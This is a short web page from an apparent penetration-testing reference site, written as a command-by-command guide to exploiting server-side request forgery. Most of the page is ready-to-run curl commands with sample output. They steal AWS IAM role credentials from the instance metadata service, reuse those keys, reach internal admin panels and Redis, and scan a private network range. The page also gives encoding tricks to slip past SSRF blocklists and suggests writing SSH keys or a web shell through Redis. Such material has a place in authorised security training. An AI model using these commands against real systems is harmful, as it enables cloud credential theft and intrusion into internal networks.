Skip to content
HackIndex logo

HackIndex

SSRF Exploitation

2 min read Jun 21, 2026

SSRF exploitation uses a confirmed server-side request to reach internal services, cloud metadata endpoints, and internal APIs not accessible externally. Confirm SSRF with an out-of-band callback first through SSRF detection before probing internal infrastructure.

AWS IMDS Credential Theft

The AWS Instance Metadata Service exposes IAM role credentials at 169.254.169.254. This is the highest-impact SSRF target in cloud environments:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" 
ec2-role-name
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name" 
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "abc123...",
  "Token": "AQoD...",
  "Expiration": "2026-03-28T18:00:00Z"
}

Use the returned credentials directly from your Kali machine to enumerate AWS resources:

┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID='ASIA...' AWS_SECRET_ACCESS_KEY='abc123...' AWS_SESSION_TOKEN='AQoD...' && aws sts get-caller-identity

Internal Service Access

Use SSRF to reach internal services not exposed externally. Target common internal ports:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.0.0.1:8080/admin" 
<html><title>Admin Panel</title>
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.0.0.1:6379/" 
-ERR wrong number of arguments for 'get' command

A Redis error response means the SSRF reached an unauthenticated Redis instance. Send Redis commands through the SSRF to write SSH keys or a web shell to disk.

Internal Network Scanning

Use SSRF to map the internal network by probing private IP ranges:

┌──(kali㉿kali)-[~]
└─$ for ip in $(seq 1 254); do code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 2 "http://$TARGET_IP:$PORT/fetch?url=http://10.0.0.$ip/"); [ "$code" != "000" ] && echo "$code 10.0.0.$ip"; done 
200 10.0.0.5
200 10.0.0.12
401 10.0.0.20

SSRF Filter Bypasses

When the application blocks obvious internal addresses, try alternative representations:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://0x7f000001/"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://2130706433/"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.1/"

The same integer, hex, and short-form encodings apply to any blocklisted destination, including the cloud metadata address shown above. Encode it the same way to slip past a filter that only matches the literal string.

References